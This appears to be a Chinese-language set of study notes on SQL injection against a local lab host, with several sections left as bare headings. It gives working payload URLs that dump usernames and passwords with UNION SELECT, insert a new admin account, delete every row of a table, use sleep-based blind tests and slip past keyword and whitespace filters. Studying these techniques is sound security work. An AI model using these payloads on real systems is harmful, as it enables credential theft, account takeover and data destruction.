1.SQL
注入攻击是开发者在开发程序时,对客户输入的参数过滤不严格,导致用户能更改数据库。
一.数字型注入:
1.访问链接http://192.168.20.133/sqll.php?id=2
的页面和http://192.168.20.133/sqll.php?id=3-1
的页面一样,可以说明这个注入点是数字型注入。表现为源码输入点“$_GET['id']
”附近没有引号包裹。
2.链接模板:http://192.168.20.133/sqll.php?id=1 union select user,pwd from wp_user
3.limit 1,1
:条件限定,作用是查询结果第二条记录后的1条记录。
二.字符型注入:
1.访问http://192.168.20.133/sql2.php?id=3-1
的页面为空,猜测不是字符型,继续访问http://192.168.20.133/sql2.php?id=2a
,有页面,说明是字符型注入。
2.空格的编码是“%20
”,“'
”的编码是“%27
”,“#
”的编码是“%23
”。
3.访问http://192.168.20.133/sqll.php?id=1%27%23
的sql语句是id = '1'#'
,后面的操作就与数字型注入一样了。
4.where
是select
操作的一个判断条件,1' and '1
相当与sql
语句的'1' and '1'
5.布尔盲注:通过注入来推测出数据
三.报错注入:
四注入点:
(一)、select
:用于数据表记录的查询
2.注入点在select
的后面:http://192.168.20.133/sqln1.php?id=(select pwd from wp_user) as title
3.注入点在表名之后:http://192.168.20.133/sqln1.php?id=select title from (select pwd AS title from wp_user)x
4.如果注入点有反引号要先闭合反引号
5.注入点在where
或having
后:先判断有无引号包裹,有的话注释掉,没有的话直接注入
6.注入点在GROUP BY
或者ORDER BY
后:title=id desc
,(if(1,sleep(1),1))
会让页面迟1秒
7.sql
注入攻击之所以存在,是因为开发者在编写系统框架时,无法使用预编译的办法处理这类参数;只要对输入的值进行白名单比对,就可以预防大部分的sql
攻击。
8.注入点在limit
之后:
(二)、insert
:插入数据表的sql
语句
1.注入字段名或字段值的地方,且没有回显信息。
2.注入点位于tbl_name
之后:http://192.168.20.133/insert.php?table=wp_user values(2,'newadmin','newpass')%23
,成功插入一个新的管理员
3.注入点位于VALUES
:
(三)、update
:数据库记录的更新。
2.update
语句:
1.update wp_user set id=3 where user ='23'
;
2.update wp_user set id=3, user='xxx' where user ='23'
;
1.delete
:删除某个表的全部或指定行的数据,注入点通常在where
。
delete
语句:1.delete from wp_news where id=1 or 1
;
2.delete from wp_news where id=1 and sleep(1)
;
五.注入与防御:
1.可以代替空白符的有:%0a
、%0b
、%0c
、%0d
、%09
、%a0
(在特定字符集才可以使用)和/**/
、()
等
2.将select
替换为空:可以用嵌套的方式,例如seselectlect
形式,过滤后为select
。可以用大小写的方式"sEleCt
"。
select
语句:http://192.168.20.132/replace.php?id=-1%09union%09seselectlect%091,2
3.正则匹配:
4.替换了单引号或双引号,忘记了反斜杠:
5.逃逸引号: